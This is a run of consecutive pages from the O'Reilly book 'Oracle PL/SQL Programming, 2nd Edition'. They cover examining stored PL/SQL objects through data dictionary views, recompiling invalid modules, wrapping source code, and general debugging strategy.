So you have a line number and an error message. Unfortunately, it is difficult to use these line numbers, since they do not correspond directly to the line numbers in your file. They are always relative to a specific program or PL/SQL block (remember that you can have more than one such program unit in a file). Even within that block, you will find it difficult to correlate the line number with a particular PL/SQL statement.

But, wait, there is hope for those line numbers! Even if they do not match your source code, they do match the line numbers saved with the text of that module in the data dictionary view of source code. The next section shows how to query this view to identify the line of code corresponding to a line number.

Previous: 23.4 Remote Procedure Calls | Oracle PL/SQL Programming, 2nd Edition | Next: 23.6 Using SQL to Examine Stored Objects
23.4 Remote Procedure Calls | Book Index | 23.6 Using SQL to Examine Stored Objects
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 23] 23.6 Using SQL to Examine Stored Objects

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

23.6 Using SQL to Examine Stored Objects

Since the stored objects are contained in tables in the data dictionary, you can use SQL itself to get information about the currently available programs. The following views are the most useful to familiarize yourself with:

USER_DEPENDENCIES

The dependencies to and from objects you own

USER_ERRORS

The current set of errors for all stored objects you own. This view is accessed by the SHOW ERRORS SQL*Plus command, described earlier in this chapter.

USER_OBJECTS

The objects you own

USER_OBJECT_SIZE

The size of the objects you own

USER_SOURCE

The text source code for all objects you own

USER_TRIGGERS

The database triggers you own

You can view the structures of each of these tables either with a DESC command in SQL*Plus or by referring to Appendix B in Oracle Corporations's Oracle7 Server Administrator's Guide. The following sections provide some examples of the ways you can use these tables.

23.6.1 Displaying Object Dependencies

The RDBMS keeps track of dependencies between stored objects so that it can make sure the compiled source code of an object is still valid. Whenever you create or replace a module, the PL/SQL engine compiles that program and stores both source and compiled code. When you execute the program, the compiled code is loaded into the shared pool and run. If procedure A calls procedure B, then whenever procedure B is modified, the compiled code for procedure A is no longer valid (this status is maintained in the USER_OBJECTS view, or at least in the underlying SYS.OBJ$ table). Use the USER_DEPENDENCIES view to see which objects reference or depend on a particular object, as shown in this example:

/* Filename on companion disk: userdpnd.sql */
SELECT referenced_name,
       referenced_type,
       referenced_owner,
       referenced_link_name
  FROM user_dependencies
 WHERE name = UPPER ('&1');

where &1 is a single parameter to the SELECT statement. If this statement were placed in a file named dependon.sql, then you could find all objects that reference the calc_totals procedure by entering the following command at the SQL> prompt:

SQL> start dependon calc_totals

23.6.2 Displaying Information About Stored Objects

The USER_OBJECTS view contains the following key information about an object:

OBJECT_NAME

Name of the object

OBJECT_TYPE

Type of the object

STATUS

Status of the object: VALID or INVALID

Here are the types of objects that are accessible through this view:

SQL> select distinct object_type from user_objects;

OBJECT_TYPE
-------------
FUNCTION
INDEX
PACKAGE
PACKAGE BODY
PROCEDURE
SEQUENCE
SYNONYM
TABLE
TRIGGER

9 rows selected.

You can see that USER_OBJECTS does more than keep track of PL/SQL code. You can use USER_OBJECTS to obtain a list of all PL/SQL objects currently in the database. I created and ran the following SQL*Plus script in a file called psobj.sql:

/* Filename on companion disk: psobj.sql */
SET PAGESIZE 66
COLUMN object_type FORMAT A20
COLUMN object_name FORMAT A30
COLUMN status FORMAT A10
BREAK ON object_type SKIP 1
SPOOL psobj.lis
SELECT object_type, object_name, status
  FROM user_objects
 WHERE object_type IN ('PACKAGE', 'PACKAGE BODY', 'FUNCTION', 'PROCEDURE')
 ORDER BY object_type, status, object_name
/
SPOOL OFF

The output file from this script file contained the following list:

OBJECT_TYPE          OBJECT_NAME                    STATUS
-------------------- ------------------------------ ----------
FUNCTION             DEVELOP_ANALYSIS               INVALID
                     NUMBER_OF_ATOMICS              INVALID
                     FREQ_INSTR                     VALID

PACKAGE              CHECKS                         VALID
                     CONFIG_PKG                     VALID
                     DBG                            VALID
                     DO                             VALID
                     EXCHDLR_PKG                    VALID

PACKAGE BODY         DBG                            VALID
                     DO                             VALID
                     EXCHDLR_PKG                    VALID

PROCEDURE            ASSESS_POPULARITY              INVALID
                     ASSERT_CONDITION               VALID

Notice that a number of my modules are INVALID. This may be due to changes to the tables referenced in the modules, or by changes to other programs called by these modules. The RDBMS automatically recompiles these objects when a program tries to call them. In other words, this recompilation takes place at run time, when the user has caused these programs to be run, waiting while the compilation occurs. You can avoid this automatic recompilation (and impact on users) by manually compiling the INVALID modules yourself. The best way to do this is to generate the compile command for each invalid module, directly from the USER_OBJECTS table.

When I use SQL to generate a list of commands to be executed, I save the SQL statement into a file with a .sql extention. The output from this file is sent to another file, this time with a .cmd extention (since it contains CoMmanDs). I then execute that command file at the end of the SQL script.

The code below generates the SQL commands needed to force recompilation of any invalid PL/SQL objects. In addition to creating the ALERT...COMPILE command, it adds a SHOW ERRORS command after each compile attempt so that I can see any errors from an unsuccessful compile. I set the line size and lengths of the output strings so that each command goes on its own line in the command file. Finally, when I run the recomp.cmd file (generated by the SELECT statement), I spool the output to another file (recomp.lis) so that I can review the results.

/* Filename on companion disk: recomp.sql */
SET PAGESIZE 0
SET LINESIZE 80
COLUMN command_line1 FORMAT A75
COLUMN command_line2 FORMAT A75
SPOOL recomp.cmd
SELECT 'ALTER '||
       DECODE (object_type, 'PACKAGE BODY', 'PACKAGE', object_type) || ' '||
       object_name || ' ' ||
       DECODE (object_type,
          'PACKAGE', 'COMPILE SPECIFICATION;',
          'PACKAGE BODY', 'COMPILE BODY;' ,
          'COMPILE;') command_line1,
       'SHOW ERRORS' command_line2
  FROM user_objects
 WHERE object_type IN ('PACKAGE', 'PACKAGE BODY', 'FUNCTION', 'PROCEDURE')
   AND status = 'INVALID'
 ORDER BY
    DECODE (object_type,
       'PACKAGE', 1, 'PACKAGE BODY', 4, 'FUNCTION', 2, 'PROCEDURE', 3)
/
SPOOL OFF
SPOOL recomp.lis
START recomp.cmd
SPOOL OFF

23.6.3 Analyzing the Size of PL/SQL Code

In the Windows environment, you run into severe memory problems when your program size (for a standalone procedure or function, or an entire package) approaches and exceeds 32K. Now, thirty-two thousand-odd bytes is a very large size for a program. If you are writing a program this large, you should probably break it up into smaller pieces. You can use the USER_OBJECT_SIZE view to tell you about the size of your code, and use it as an early warning system for further code modularization.

This view also comes in handy when you want to balance the size of your programs and packages. The compiled code for a stored object must be present in the Shared Global Area of the database before it can be run. A certain amount of space is set aside in the SGA for program code. Suppose you have one program or package that is much larger than anything else and takes up much of the room in the shared pool. Whenever that program is executed or a reference is made to any of the package's objects, the RDBMS has to flush the other programs out of shared memory to make room for this single, massive chunk of code. Those other programs then have to be read back into the shared pool when next invoked. If you balance your code size, then you can minimize the disk I/O required to make stored objects available for execution.

The USER_OBJECT_SIZE view contains information about the size of the source code, the size of the parsed code, and the size of the compiled code. The following code shows the various sizes for each of your larger stored objects:

/* Filename on companion disk: pssize.sql */
SET PAGESIZE 66
COLUMN name FORMAT A30
COLUMN type FORMAT A15
COLUMN source_size FORMAT 999999
COLUMN parsed_size FORMAT 999999
COLUMN code_size FORMAT 999999
TTITLE 'Size of PL/SQL Objects > 2000 Bytes'
SPOOL pssize.lis
SELECT name, type, source_size, parsed_size, code_size
  FROM user_object_size
 WHERE code_size > 2000
 ORDER BY code_size DESC
/
SPOOL OFF

By only looking at PL/SQL objects with more than 2000 bytes, I can focus on the larger objects that might conceivably require attention. The output from pssize.sql is shown below:

Sun Dec 11                                                    page    1
                  Size of PL/SQL Objects > 2000 Bytes

NAME                  TYPE            SOURCE_SIZE PARSED_SIZE CODE_SIZE
--------------------- --------------- ----------- ----------- ---------
PS_GLOBAL             PACKAGE BODY          23434       29199     22584
DBG                   PACKAGE BODY          17011       23691     13793
PARSER_PKG            PACKAGE BODY          12367       11441      9795
PS_LIST               PACKAGE BODY           9893       11728      9488
COMPILER_PKG          PACKAGE BODY           5500        6262      4583
COMPILER              PACKAGE BODY           2374        4613      3650
NUMBER_OF_ATOMICS     FUNCTION               2106        4033      3056

I do have a wide disparity in the sizes of the packages and modules currently stored in the database. If I were running a production environment with this range of code size, I should look at balancing the code by breaking up the larger packages, particularly ps_global. In reality, however, these packages stand out mostly because my development database is devoid of the large application-specific modules and packages any normal production environment would include.

Regardless of whether you need to balance your code, you should never just build "one big package" to hold all of your programs. Break up your modules into logical sets of operations and data structures, and create packages for each of those.

23.6.4 Displaying and Searching Source Code

You should always maintain the source code of your programs in text files (or a development tool specifically designed to store and manage PL/SQL code outside of the database). When you have stored these programs in the database, however, you can take advantage of SQL to analyze your source code across all modules, which may not be a straightforward task with your text editor.

The USER_SOURCE view contains all of the source code for objects owned by the current user. The structure of USER_SOURCE follows:

 Name                            Null?    Type
 ------------------------------- -------- ----
 NAME                            NOT NULL VARCHAR2(30)
 TYPE                                     VARCHAR2(12)
 LINE                            NOT NULL NUMBER
 TEXT                                     VARCHAR2(2000)

where NAME is the name of the object, TYPE is the type of object (PROCEDURE, FUNCTION, PACKAGE, and PACKAGE BODY), LINE is the line number, and TEXT is the text of the source code.

So you could look for all programs containing a certain substring in its source code. You could return the text associated with a specific line number. You could get a list of all the packages defined in your schema, and so on. The following sections offer some concrete examples.

23.6.5 Cross-Referencing Source Code

Using SQL, for example, you can discover the set of programs that reference a particular global variable or even PL/SQL built-in. The SQL statement below uses a single parameter so that you can specify the string for which you want to search:

SELECT DISTINCT name
  FROM user_source
 WHERE INSTR (UPPER (text), '&1') > 0;

You can view the source code of a stored object with the SQL statement shown below. The column line is the sequence number of that line of text in the program:

SELECT text
  FROM user_source
 WHERE name = UPPER ('&1')
 ORDER BY line;

If the query in this code were stored in pslist.sql, then I could obtain the source code for the function called number_of_atomics by entering the following command at the SQL> prompt:

SQL> start pslist number_of_atomics

NOTE: The underlying SOURCE$ table (upon which the USER_SOURCE view is built) does not retain the blank lines of your original source file.

23.6.6 Finding the Code for a Line Number

As noted earlier in the chapter, the output from a call to SHOW ERRORS in SQL*Plus displays the line number in which an error occurred, but that line number doesn't correspond to the line in your text file. Instead, it relates directly to the line number stored with the source code in the USER_SOURCE view.

The source_at_line function that follows provides an easy mechanism for retrieving the text from a stored program for a specified line number. It takes three parameters:

name_in

The name of the stored object

line_in

The line number of the line you wish to retrieve (default value is 1)

type_in

The type of object you want to view (default for TYPE is NULL)

The default values are designed to make this function as easy as possible to use. The following examples show the different ways source_at_line can be called:

  • Retrieve the tenth line of code in the company package body:

    the_text := source_at_line ('company', 10, 'package body');

  • Retrieve the fifth line of code from the calc_totals procedure. Notice that I do not specify the type of object. Since I know that there is only a calc_totals procedure and no other type of object with that name, I can safely let the cursor scan through all of USER_SOURCE:

    the_text := source_at_line ('calc_totals', 5);

  • Retrieve the first line of the company_name function. I only supply the name of the function, so I use the default of the line = 1 and NULL type. This form of source_at_line would be handy for displaying the header of a module or package, which usually shows up on the first line.

    DBMS_OUTPUT.PUT_LINE (source_at_line ('company_name'));
==>
   FUNCTION company_name (company_id IN INTEGER) RETURN VARCHAR2

Here, then, is the code for the source_at_line function:

/* Filename on companion disk: srcline.sf */
FUNCTION source_at_line
   (name_in IN VARCHAR2,
    line_in IN INTEGER := 1,
    type_in IN VARCHAR2 := NULL)
RETURN VARCHAR2
IS
   CURSOR source_cur IS
      SELECT text
        FROM user_source
       WHERE name = UPPER (name_in)
         AND (type = UPPER (type_in) OR type_in IS NULL)
         AND line = line_in;

   source_rec source_cur%ROWTYPE;

BEGIN
   /* Open and fetch the line of code. */
   OPEN source_cur;
   FETCH source_cur INTO source_rec;

   IF source_cur%NOTFOUND
   THEN
       CLOSE source_cur;
       RETURN NULL;
   ELSE
       CLOSE source_cur;
       RETURN source_rec.text;
   END IF;
END;

23.6.7 Changing Source Code in the Database

If you want to be truly adventurous you could also update your source code in the data dictionary. The only reason to do this would be to perform application-wide changes to source code in files which were not possible or practical through the editor. You might, for example, want to perform name replacements: every program that called number_of_atomics should now call parser.numatoms because I moved the standalone module into a package.

You cannot update source code through the USER_SOURCE view. Instead, you must make changes directly to the SOURCE$ table owned by SYS. The columns for SOURCE$ are:

OBJ$

The object ID

LINE

The line number

SOURCE

The line of source code

You can obtain the object ID for a particular module from the USER_OBJECTS view, which contains the OBJECT_ID column. The code below offers a PL/SQL procedure that accepts an owner name, a program name, and the old and new versions of a string. The procedure then replaces all instances in that program of the old string with the new.

/* Filename on companion disk: srcupd.sp */
PROCEDURE src_update
   (owner_in IN VARCHAR2, program_in IN VARCHAR2,
    old_str_in IN VARCHAR2, new_str_in IN VARCHAR2)
IS
   /* Cursor uses all_objects since this is run from SYS */
   CURSOR obj_cur IS
      SELECT object_id
        FROM all_objects
       WHERE owner = owner_in
         AND object_name = program_in;
   obj_rec obj_cur%ROWTYPE;
BEGIN
   OPEN obj_cur;
   FETCH obj_cur INTO obj_rec;
   IF obj_cur%FOUND
   THEN
      UPDATE SOURCE$
         SET source = REPLACE (source, old_str_in, new_str_in)
       WHERE obj# = obj_rec.object_id;
   END IF;
   CLOSE obj_cur;
END;

If you ever do make changes like this, be sure to recompile all modified programs.

Previous: 23.5 Managing Stored Objects with SQL*Plus | Oracle PL/SQL Programming, 2nd Edition | Next: 23.7 Encrypting Stored Code
23.5 Managing Stored Objects with SQL*Plus | Book Index | 23.7 Encrypting Stored Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 23] 23.7 Encrypting Stored Code

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

23.7 Encrypting Stored Code

It's kind of fun to watch a programming language like PL/SQL evolve over time. First there was Version 1.0 -- very useful for batch processing scripts, but not much else. And very buggy. Then with Version 2.0 we started to see the real promise of the language. Stored program units, packages, and more. Why, it was so useful that third-party vendors began to write applications in PL/SQL. And when they sold these applications to customers, they shipped them their software for installation -- and then ran smack into a depressing discovery: there wasn't any way to hide their proprietary formulas, knowledge, and plain hard work from the eyes of competitors!

To install a PL/SQL-based application in another database instance, you must CREATE OR REPLACE those program units from the source code. Source code must, therefore, be supplied to each customer. "Wake up, Oracle!" came the cry from value-added resellers (VARs), "we can't let everyone see our secrets." Mostly in response to this basic need of VARs, Oracle added (with PL/SQL Release 2.2 and beyond) the ability to encrypt or "wrap" source code.

When you encrypt PL/SQL source (I prefer that word to "wrap," since the concept of wrapping code is common to many languages, but generally means "encapsulation"), you convert your readable ASCII text source code into unreadable ASCII text source code. This unreadable code can then be distributed to customers or regional offices or whatever for creation in new database instances. It is as portable as your original PL/SQL code, and is included in imports and exports. The Oracle database maintains dependencies for this encrypted code as it would programs compiled from readable text. In short, an encrypted program is treated within the database just as normal PL/SQL programs are treated; the only difference is that prying eyes can't query the USER_SOURCE data dictionary to extract trade secrets.

23.7.1 How to Encrypt Code

To encrypt PL/SQL source code, you run the wrap executable. This program may be found in the bin directory of the Oracle instance. In UNIX, this directory is located at $ORACLE_HOME/bin. In Windows NT, you can cd to c:\OraNT\bin, where "c:" denotes the drive on which Oracle has been installed. You will then find in your bin directory a program whose name has this format: wrapNN.exe, where NN is the version number of the database. So if you have Oracle 7.3 installed, you will have a wrap73.exe file in the bin directory.

The format of the encryption command is:

wrapNN iname=readablefile [oname=encryptedfile]

where NN is your version number (72, 73, 80, etc.), readablefile points to the original, readable version ("in" file) of your program, and encryptedfile is the name of the file which will contain the encrypted version of code ("out" file).

If readablefile does not contain a file extension, then the default of sql is assumed.

If you do not provide an oname argument, then wrapNN creates a file with the same name as readablefile, but with a default extention of plb, which stands for "PL/SQL binary" (a misnomer, but it gets the idea across: binaries are unreadable).

Here are some examples of using the wrap73 executable:

  1. Wrap a program relying on all of the defaults:

    c:\orant\bin\wrap73 iname=secretprog

  2. Wrap a package body, specifying overrides of all the defaults. Notice that the encrypted file does not have to have the same filename or extension as the original:

    c:\orant\bin\wrap73 iname=secretbody.spb oname=shhhhhh.bin

23.7.2 Working with Encrypted Code

I have found the following steps to be useful in working with encrypted code:

  • Establish standard file extensions which clearly identify encrypted code. I use the following extensions:

Expression | Contents
sps | Readable package specifications
spb | Readable package bodies
pls | Encrypted package specifications
plb | Encrypted package bodies

  • In Windows NT and Windows 95, you will have to open an MS-DOS window and then execute the wrapNN command from there. My suggestion is that you do not execute the program from within the Oracle bin directory, but instead cd to the directory containing your source code and execute the wrapNN.exe file from there.

  • Create batch files so that you can easily, quickly, and uniformly encrypt one or more files. In Windows NT, I create bat files in the directories containing my source code which contain lines like this:

    c:\orant\bin\wrap73 iname=plvrep.sps oname=plvrep.pls

    Of course, you can also create parameterized scripts and pass in the names of the files you want to encrypt.

23.7.3 Impact of Encrypting Code

There are several points to consider as you move to encrypting your PL/SQL code base:

  • If you are an Oracle VAR, you probably are supporting multiple Oracle versions, from 7.0 or 7.1 to Oracle 8.x. If you are a lucky Oracle VAR, you will have (in many cases) one version of PL/SQL code which will work across all of these versions. If this is the case, then you can decide whether you want to have different encrypted versions of that same program for each Oracle release. You can do this (execute wrap71, wrap72, etc., for each of your versions) or you can simply encrypt at the highest version number (say, wrap 80). This most recent encryption will compile in earlier versions. Earlier versions of encrypted code will not, however, compile properly in later versions of Oracle.

  • To encrypt your source code, you must place that code in an operating system file. If you are working within a PL/SQL development environment which allows you to build and maintain source directly in the database, you will have to "dump" this code to a file, wrap it, and then compile it back into the database -- thereby wiping out your original, readable, and maintainable source code. This is not an issue as you deploy software to customers, but it could cause some uncomfortable situations as you develop and maintain applications.

  • You can only encrypt package specifications, package bodies, and standalone functions and procedures. You can run the wrapNN binary against any other sort of SQL and PL/SQL statement, but those files will not be changed.

  • You can tell when a program is encrypted by examining the program header. If there are no comments in the program header, then you will see this text in the first line of USER_SOURCE for a encrypted package body:

    PACKAGE BODY <package_name> WRAPPED

    Even if you don't notice the keyword WRAPPED on the first line, you will immediately know that you are looking at encrypted code because the text in USER_SOURCE will look like this:

       LINE TEXT
------- ----------------------
     45 abcd
     46 95a425ff
     47 a2
     48 7 PACKAGE:

    and you know that no matter how bad your coding style, it surely isn't that bad.

  • Comment lines are removed from the encrypted program (who's going to read them?) except for comment text which appears in the header of the program definition. That is, any comments that appear before the AS or IS keywords are preserved. This allows you to provide documentation on usage and copyright to all users of your software without revealing any proprietary information. For example, the following program description will appear in readable format in USER_SOURCE:

    CREATE OR REPLACE PACKAGE
/*
|| Author: Steven Feuerstein
|| Overview: Collect all financial calcs together.
*/
financials WRAPPED

    I have found that when using large, complex comment blocks, the wrapNN program (at least through wrap73) either rejects valid source code for encryption, or encrypts successfully but then fails to compile. You may find that you need to simplify or shorten your standard headers when using the wrap utility.

  • Encrypted code is much larger than the original source. I have found in my experience that a 57KB readable package body turns into a 153KB encrypted package body, while a 86KB readable package body turns into a 357KB encrypted package body. These increases in file size do result in increased requirements for storing source code in the database. The size of compiled code stays the same.

NOTE: As of fall 1997, no one has yet admitted to having been able to (or bothering to) crack the encryption of wrapped PL/SQL code. But don't get your hopes up too high!

Previous: 23.6 Using SQL to Examine Stored Objects | Oracle PL/SQL Programming, 2nd Edition | Next: 24. Debugging PL/SQL
23.6 Using SQL to Examine Stored Objects | Book Index | 24. Debugging PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 24] Debugging PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 23.7 Encrypting Stored Code Chapter 24 Next: 24.2 Debugging Tips and Strategies

24. Debugging PL/SQL

Contents:
The Wrong Way to Debug
Debugging Tips and Strategies

When you test a program you find errors in your code. When you debug a program you uncover the cause of an error and fix it. These are two very different processes and should not be confused. In fact, you should probably have different people perform these steps. I have always found that the author of a program is the least effective tester of that program. Sure, you as the author should perform your unit tests and make a best effort to find bugs. But no project leader should ever rely on programmers for a complete test of their own programs. I have often found that a subtle, unconscious process takes place by programmers: they unknowingly follow steps through their code that avoid errors. They seem to know what it takes to make the program work and they execute those steps, rather than expose their own errors. (I stress that this is an unconscious process!)

Once a program is tested and bugs are uncovered, however, it is certainly the responsibility of the author to fix those bugs. And so the debugging begins!

Many programmers find that debugging is by far the hardest part of programming. This difficulty often arises from the following factors:

  • Lack of understanding of the problem being solved by the program. Most programmers like to code -- reading and understanding specifications are of less interest to them. They want to get down to it, doing what they do best and what they are most comfortable with: writing code. The chance of a program meeting its requirements under these conditions is slim at best.

  • Poor programming practice. Programs that are hard to read (lack of documentation, too much documentation, inconsistent usage of whitespace, bad choices for identifier names, etc.), not properly modularized, or those that try to be too clever present a much greater challenge to debug than those programs that are well designed and structured.

  • The program simply contains too many errors. Without the proper analysis and coding skills, you can end up with many more errors than is necessary. When you compile a program and get back five screens of compile errors, do you just want to scream and hide? It is easy to be so overwhelmed by your errors that you don't take the organized, step-by-step approach needed to fix those errors.

  • Limited debugging skills. There are many different approaches to uncovering the causes of your problems. Some approaches only make life more difficult for you. If you have not been trained in the best way to debug your code, you can waste many hours, raise your blood pressure, and upset your manager.

The following section reviews the debugging methods that you will want to avoid at all costs, and then offers recommendations for more effective debugging strategies.

24.1 The Wrong Way to Debug

As I present the various ways you shouldn't debug your program, I expect that just about all of you will say to yourselves (some even without hypocrisy or the merest hint of shame), "Well, that sure is obvious. Of course, you shouldn't do that. I never do that."

And yet the very next time you sit down to do your work, unless you take a very disciplined approach and stick to your own (or your group's) rules, you will follow some of these obviously horrible debugging practices.

If you happen to see little bits of yourself in the paragraphs that follow, I hope you are inspired to mend your ways.

24.1.1 Disorganized Debugging

When faced with a bug, you become a whirlwind of frenzied activity. Even though the presence of an error indicates that you did not fully analyze the problem and figure out how the program should solve it, you do not now take the time to understand the program. Instead you place MESSAGE statements (in Oracle Forms) or SRW.MESSAGE statements (in Oracle Reports) or DBMS_OUTPUT.PUT_LINE statements (in stored modules) all over your program in the hopes of extracting more clues from the program.

You do not save a copy of the program before you start to make changes because that would take too much time; you are under a lot of pressure right now, and you are certain that the answer will pop right out at you. You will just remove your debug statements later.

You spend lots of time looking at information that is mostly irrelevant. You question everything about your program, even though most of it uses constructs you've employed successfully for years.

You skip lunch, but make time for coffee, lots of coffee, because it is free and you want to make sure your concentration is at its most intense level possible. Even though you have no idea what is causing the problem, you think that maybe if you try this one change it might help. You make the change and take several minutes to compile, generate, and run through the test case, only to find that the change didn't help -- in fact, it seemed to have caused another problem because you hadn't thought through the impact of the change on your application.

So you back out of that change and try something else in hopes that it might work. But several minutes later you again find that it doesn't. A friend, noticing that your fingers are trembling, offers to help. But you don't know where to start explaining the problem because you don't really know what is wrong. Furthermore, you are kind of embarrassed about what you've done so far (turned the program into a minefield of tracing statements) and realize you don't have a clean version to show your friend.

So you snap at the best programmer in your group and call your family to let them know you aren't going to be home for dinner that night.

Why? Because you are determined to fix that bug!

24.1.2 Irrational Debugging

You execute your report and it comes up empty. You spent the last hour making changes both in the underlying data structures and the code that queries and formats the data. You are certain, however, that your modifications could not make the report disappear.

You call your internal support hotline to find out if there is a network problem, even though File Manager clearly shows access to network drives. You further probe as to whether the database has gone down, even though you just connected successfully. You spend another ten minutes of the support analyst's time running through a variety of scenarios before you hang up in frustration.

"They don't know anything over there," you fume. You realize that you will have to figure this one out all by yourself.

So you dive into the code you just modified. You are determined to check every single line until you find the cause of your difficulty. Over the course of the next two hours, you talk aloud to yourself -- a lot.

"Look at that! I called the stored procedure inside an IF statement. I never did that before. Maybe you can't call stored programs that way." So you remove the IF statement and instead use a GOTO statement to perform the branching to or around the stored procedure. But that doesn't fix the problem.

"My code seems fine. But it calls this other routine that Joe wrote ages ago." He has since moved on, making him a ripe candidate for the source of all problems in the world. "It probably doesn't work anymore; after all, we did upgrade to a new voice mail system." So you decide to perform a standalone test of Joe's routine, which hasn't changed for two years and has no interface to voice mail. But his program seems to work fine -- when it's not run from your program.

Now you are starting to get desperate. "Maybe this report should only run on weekends. Hey, can I put a local module in an anonymous block? Maybe I can use only local modules in procedures and functions! I think maybe I heard about a bug in this tool. Time for a workaround..."

You get angry and understand better why your eight-year old hits the computer monitor when he can't beat the last level of Mystic Conqueror. And just as you are ready to go home and take it out on your dog, you realize that you are connected to the development database, which has almost no data at all. You switch to the test instance, run your report, and everything looks just fine.

Except, of course, for that GOTO and all the other workarounds you stuck in the report.

Previous: 23.7 Encrypting Stored Code | Oracle PL/SQL Programming, 2nd Edition | Next: 24.2 Debugging Tips and Strategies
23.7 Encrypting Stored Code | Book Index | 24.2 Debugging Tips and Strategies
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 24] 24.2 Debugging Tips and Strategies

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

24.2 Debugging Tips and Strategies

I do not pretend in this chapter to offer a comprehensive primer on debugging. The following tips and techniques, however, should improve upon your current set of error-fixing skills.

24.2.1 Gather Data

Gather as much data as possible about when, where, and how the error occurs. It is very unlikely that the first occurrence of an error will give you all the information you will want or need to figure out the source of that error. Upon noticing an error, the temptation is to show off one's knowledge of the program by declaring, "Got it! I know what's going on and I know exactly what to do to fix it." Such a move can be very gratifying when it turns out that you do have a handle on the problem, and that will be the case for simple bugs. Some problems can appear simple, however, and turn out to require extensive testing and analysis. Save yourself the embarrassment of pretending (or believing) that you know more than you actually do. Before rushing to change your code, take these steps:

  1. Run the program again to see if the error is reproducible. This will be the first indication of the complexity of the problem. It is almost impossible to determine the cause of a problem if you are unable to get it to occur predictably. Once you work out the steps needed to cause the error to occur, you will have gained much valuable information about its cause.

  2. Narrow the test case needed to generate the error. I recently had to debug a problem in one of my Oracle Forms modules. A pop-up window would lose its data under certain circumstances. At first glance, the rule seemed to be: "For a new call, if you enter only one request, that request will be lost." If I had stopped testing at this point, I would have had to analyze all code that initialized the call record and handled the INSERT logic. Instead, I tried additional variations of data entry and soon found that the data was lost only when I navigated to the pop-up window directly from a certain item. Now I had a very narrow test case to analyze and it was very easy to uncover the error in logic.

  3. Examine the circumstances under which the problem does not occur. "Failure to fail" can offer many insights into the reason an error does occur. It also helps you narrow down the sections of code and the conditions you have to analyze when you go back to the program.

Get it Right the First Time

There can be no doubt that the best way to decrease the effort and time required to debug your application is to write code that has fewer bugs. Such code will have fewer errors, and the errors it does have are more likely to be typos and superficial mistakes. A single, fundamental logical flaw in a program can generate a multitude of other symptomatic errors.

We all have to accept the fact that it takes more effort and time to be careful and methodical. Yet we are almost always in a rush -- to meet a deadline, to go home and play with the baby, to go bowling. And so we truly, deeply believe that "this next one is easy." Heck, why not just code it straight out?

The morning after such a lapse in judgment, however, is uniformly painful and embarrassing. If you have a reputation as a guru with a tool, you may not want to have to go through several rounds of test, debug, and fix to get your program to work. If you are just learning the tool and working hard for a promotion, you can't afford to reveal sloppy programming habits. If you are responsible for a complex project, which is bound to be behind schedule, you've got to make every hour, every line of code count.

There is no substitute for getting it right the first time. Here are a few of the things you can do to minimize the number of bugs you introduce into a program:

  • Understand the purpose of the program and its logic. You should be thoroughly comfortable with the objective of your coding task. You should have a strong picture in your mind of the overall structure of the program and how that relates to the documented specifications before you write a single line of code. With this fundamental grounding, it will be much more difficult for you to introduce gross errors into the program.

  • Use top-down design and stepwise refinement to help keep your eyes on the prize. It is difficult, especially with complicated programs, to translate specifications directly into code without getting a bit lost in the programming details. Before you start coding, use pseudo-code at a very high level to list the different steps or functions needed to build the program. Then, for each of these steps in turn, focus your attention just on the details needed to implement that step. In this way you isolate complexities behind your steps (which will, you hope, turn into modules) and concentrate more effectively on the structure of your program before you worry about its details.

  • Modularize, modularize, modularize! Once you are ready to code, avoid writing one large, amorphous program. Instead, break up your code into separate modules, each with a specific purpose, that you can implement and test individually.

In addition to these high-level tips, follow the many pieces of advice offered throughout the book to improve the quality, readability, and maintainability of your code. Taken together and used together, these techniques should greatly improve your chances of bug-free programs.

The more information you gather about the problem at hand, the easier it will be to solve that problem. It is worth the extra time it will take to assemble the evidence. So even when you are absolutely sure you are on to that bug, hold off and investigate a little further.

24.2.2 Remain Logical at All Times

Symbolic logic is the life-blood of programmers. No matter which programming language you use, the underlying logical framework is a constant. PL/SQL has one particular syntax. The C language uses different keywords and the IF statement looks a little different. The elegance of LISP demands a very different way of building programs. But underneath it all, symbolic logic provides the backbone on which you hang the statements that solve your problems.

The reliance on logical and rational thought in programming is one reason that it is so easy for a developer to learn a new programming language. As long as you can take the statement of a problem and develop a logical solution step by step, the particulars of a language are secondary.

With logic at the core of our being, it amazes me to see how often we programmers abandon this logic and pursue the most irrational path to solving a problem. We engage in wishful thinking and highly superstitious, irrational, or dubious thought processes. Even though we know better -- much better -- we find ourselves questioning code that conforms to documented functionality, has worked in the past, and surely works right at that moment. This irrationality almost always involves shifting the blame from oneself to "the other": the computer, the compiler, our spouse, the word processor, whatever. Anything and anybody but our own pristine selves!

When you attempt to shift blame, you only put off solving your problem. Computers and compilers may not be intelligent, but they are very fast and they are very consistent. All they can do is follow rules, and you write the rules for them in your program. So when you uncover a bug in your code, take responsibility for that error. Assume that you did something wrong. Don't blame the PL/SQL compiler or Oracle Forms or the text editor.

